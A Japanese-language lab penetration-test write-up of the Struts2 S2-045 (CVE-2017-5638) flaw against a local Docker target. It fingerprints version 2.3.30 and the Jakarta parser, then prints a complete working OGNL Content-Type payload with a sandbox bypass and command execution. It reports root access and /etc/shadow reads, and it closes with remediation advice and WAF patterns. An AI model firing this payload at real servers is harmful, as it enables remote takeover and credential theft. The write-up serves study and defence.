

コンテナ起動後、Struts2 のログには、struts-default.xml、struts-plugin.xml、struts.xml などのよく知られた設定ファイルが読み込まれることが示されています。これにより、使用されているフレームワークが Apache Struts2 であることが確認できます。

特筆すべき点は、次の行にあります。
Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)
この行は、Struts2 がファイルアップロード機能で一般的に使用される multipart/form-data タイプのリクエストを処理するために、Jakarta multipart パーサー(マルチパートアップロードデータ解析器)を選択していることを示しています。
これは S2-045 / CVE-2017-5638 を分析する際の重要なシグナルです。この脆弱性は、Struts2 がマルチパートリクエストの解析時、特に不正な Content-Type ヘッダーを含む場合にエラーを処理するプロセスに関連しているためです。
ただし、このログはアプリケーションが Struts2 と Jakarta スタイルのマルチパートハンドラーを使用していることを示すだけです。アプリケーションが確実に脆弱であると結論付けるにはまだ不十分です。確認するには、struts2-core のバージョンを特定し、影響を受けるバージョン範囲と比較する必要があります。



curl を使用して Web サービスにアクセスすると、レスポンスヘッダーからアプリケーションが Jetty 9.2.11.v20150529 上で動作していることがわかります。この情報はアプリケーションが動作している環境(サーブレットコンテナ)を特定するのに役立ちますが、Struts2 のバージョンを直接明らかにするものではありません。
Web インターフェースは Struts2 Showcase - Fileupload sample ページを返し、アップロードフォームは次を使用しています。
method="POST" enctype="multipart/form-data" action="/upload.action"
これは、Struts2 が MultiPartRequest に jakarta を選択した先ほどのログと一致しています。アプリケーションには確かに multipart/form-data を介したファイルアップロード処理フローがあります。
⇒ 考察: エンドポイント /upload.action は multipart/form-data を使用しており、Struts2 が Jakarta MultiPartRequest を介して処理するメカニズムと一致しています。これは S2-045/CVE-2017-5638 の疑いを強める兆候ですが、アプリケーションが脆弱であると結論付ける前に Struts2 のバージョンを特定する必要があります。次に、struts2-core のバージョンと、不正な Content-Type を受け取ったときにアプリケーションがどのようにエラーを処理するかについて、さらに深い検証が必要です。

アプリケーションに multipart/form-data を使用するアップロードエンドポイントがあることを特定した後、次の分析ステップは Struts2 の実際のバージョンを特定することです。これは、以前の兆候がアプリケーションにマルチパートアップロードに関連するメカニズムがあることを示しただけで、脆弱であると結論付けるにはまだ不十分であるため、非常に重要です。
エンドポイント 8001 を提供している正しいコンテナを特定した後、ライブラリの確認はコンテナ project1-lab01-1 内で直接実行されます。
その結果、struts2-core ファイルが見つかりました。
/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar
このパスから、アプリケーションが Apache Struts2 2.3.30 を使用していることがわかります。

これを公開されている CVE-2017-5638 / S2-045 脆弱性と比較すると、この脆弱性はパッチ適用前の 2.3.x ブランチを含む多くの古い Struts2 バージョンに影響します。これと以下の情報を組み合わせると:
Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data
分析条件の連鎖がより明確になります:
`Struts2 Version 2.3.30 < Version 2.3.32
ただし、分析の観点では、脆弱なバージョンは影響を受ける可能性の証拠にすぎません。動作レベルで確認するには、異常なマルチパートリクエストを送信し、Struts2 マルチパートパーサーのエラー処理分岐に入るかどうかをレスポンス/ログで観察する必要があります。
⇒ 考察: この時点では、フレームワークの特定だけではありません。バージョン 2.3.30 により、アプリケーションが S2-045/CVE-2017-5638 の影響を受けるバージョン範囲内にあることが確認されます。残るステップは、証拠の連鎖を完成させるために、マルチパートのエラー処理動作を検証することです。

/upload.action に送信されたリクエストが実際に Struts2 のマルチパート処理メカニズムを通過するかどうかを確認する必要があります。ここでは、curl コマンドを -F オプションとともに使用して、処理メカニズムをテストします。返された結果は次のように分解されます:
`
⇒ 有効なリクエストは、/upload.action が実際に マルチパートアップロード メカニズムを通過することを証明します。curl -F が multipart/form-data を生成し、サーバーがリクエストの各部分を解析できるためです。


Content-Type を multipart/form-data と宣言したが、マルチパート構造に準拠しない本文を持つリクエストを送信した後も、サーバーは HTTP 200 OK を返します。ただし、ContentType、FileName、File、Caption の各フィールドはすべて空です。Docker ログを確認すると、boundary(マルチパート内のパート間の区切り文字列)が存在せず、クライアントは依然として HTTP 200 OK を受信しています。しかし、Struts2 は実際にリクエスト処理中にエラーに遭遇しました。
これにより、次の証拠の連鎖が証明されます。
Faulty multipart request → Struts2 wraps request → MultiPartRequestWrapper is called → JakartaMultiPartRequest parses request → FileUploadException due to missing boundary
⇒ S2-045/CVE-2017-5638 に関連するコンポーネントと一致します。したがって、条件の連鎖はより完全になります:脆弱なバージョン、Jakarta パーサー、アップロードエンドポイント、および不正なリクエストが正しいマルチパート処理分岐に入ります。
S2-045/CVE-2017-5638 の重要点は、multipart parser の失敗だけにあるのではありません。パーサーエラーは最初のトリガー条件にすぎません。危険な部分は、Struts2 がその後エラーメッセージをどのように処理するかにあります。影響を受ける Struts2 バージョンでは、multipart parser がエラーに遭遇すると、エラー内容が Struts2 のメッセージ処理メカニズムに渡される可能性があります。攻撃者がエラーに含まれるデータの一部、特に Content-Type ヘッダーからのデータを制御できる場合、そのデータは OGNL(Object-Graph Navigation Language - Struts/XWork の式言語)を介して Struts2 によって評価される可能性があります。
考察:
Anomalous Content-Type → Jakarta multipart parser parsing error → Struts2 generates/logs error message → error message goes through expression evaluation mechanism → if malicious OGNL is present, it can lead to RCE
ターゲットが Struts2 を使用していることを特定し、Struts2 が式エンジンとして OGNL を使用しているため、PayloadsAllTheThings で検索すると、new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) を Struts2 に注入することは失敗することがわかります。Struts2 には java.lang.Runtime へのアクセスをブロックするサンドボックスがあるためです。

⇒ 見つかったペイロードを Struts2 エクスプロイト構造に組み立てます:
Trigger Jakarta Parser
(#_="multipart/form-data")
Bypass Struts2 Sandbox (Required)
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
Command Execution Payload
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
ただし、実際にペイロードを実行すると、2 つの問題に直面します:
readAllBytes() 関数は Java 9 以降でのみサポートされています。これを使用し続けると、OGNL は静かに失敗し、空白の HTML ページを返します。これは、ストリームを読み取るために org.apache.commons.io ライブラリの IOUtils クラス(Struts2 で常に利用可能)を使用するように切り替えることで解決されます。HttpServletResponse に直接アクセスし、getWriter().println() を使用して出力を最初に表示し、その後 flush() と close() を呼び出して接続を即座に終了することで解決されます。これにより、サーバーは不要な HTML インターフェースをすべてバイパスして、クリーンなコマンド実行結果を返すようになります。⇒ 上記の変更を再構成すると、完全な curl コマンドが得られます(ProcessBuilder + IOUtils + Response Writer を使用):
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

エクスプロイト成功!!!
root 権限で RCE を達成しましたが、各コマンドは個別の HTTP リクエストで送信する必要があり、非対話型の環境となります。リバースシェルを使用すると、永続的なセッションを確立でき、マシンの前に座っているかのようにターゲットシステムと直接対話できるため、情報収集やより深いポストエクスプロイテーションに役立ちます。
権限の確認
エクスプロイト成功後、システム上の権限を確認します:
uid=0(root) gid=0(root) groups=0(root)
→ アプリケーションは root 権限で実行されています — 権限昇格は必要ありません。
機密データの収集
/etc/shadow ファイル(パスワードハッシュを含むファイルで、root のみがアクセス権限を持ちます)を読み取ります:

→ 攻撃者が最も機密性の高いファイルを含むシステムファイルへの完全な読み取り/書き込みアクセス権を持っていることを証明します。
リバースシェルに関する注意
リバースシェルの確立は失敗しました。Windows 上の Docker コンテナが内部ネットワーク(bridge/NAT)を使用しているため、コンテナはローカル LAN 上の攻撃者のマシン(Kali)に接続を戻すことができません。ただし、これは脆弱性の重大度には影響しません。攻撃者は root 権限で RCE を達成し、システム上で任意のコマンドを実行できるためです。
このシステムの OGNL インジェクション脆弱性(CVE-2017-5638 / S2-045)は、最高リスクレベルと評価されます:
この脆弱性を完全に修正するには、システム管理チームと開発チームは以下の対策を(優先度順に)実施する必要があります:
緊急優先事項(短期的対策):
JakartaMultiPartRequest ライブラリのコア実装に存在するため、これは必須の対策です。root ユーザーで実行しないでください。アプリケーションの実行に必要な最小限の権限を持つ専用ユーザー(例:struts_user)を作成する必要があります。高優先事項(長期的対策と多層防御):
Content-Type ヘッダーに OGNL ペイロード(例:%{...}、${...}、ognl、java.lang.ProcessBuilder)を含む HTTP リクエストを検出してブロックする WAF ルールを構成します。struts.xml 設定ファイル(struts.multipart.parser=cos)で Pell や COS などの代替ライブラリへの切り替えを検討してください。| 評価基準 | 評価 | 詳細 |
|---|
| CVSS スコア | 10.0(重大) | 最大の絶対スコア。 |
| 認証 | 不要 | 攻撃者はこれを悪用するためにアカウントやログインを必要としません。 |
| 複雑さ | 非常に低い | Content-Type ヘッダーにペイロードを含む単一の HTTP リクエスト(POST)を送信するだけで済みます。 |
| 取得権限 | root | 最高権限レベルでアプリケーション/コンテナを完全に制御し、任意のファイル(/etc/shadow など)を読み取り/書き込みできます。 |
| 横展開 | 高 | 侵害されたコンテナから、攻撃者は内部ネットワーク(LAN)をスキャンし、他のコンテナやホストサーバーを攻撃できます。 |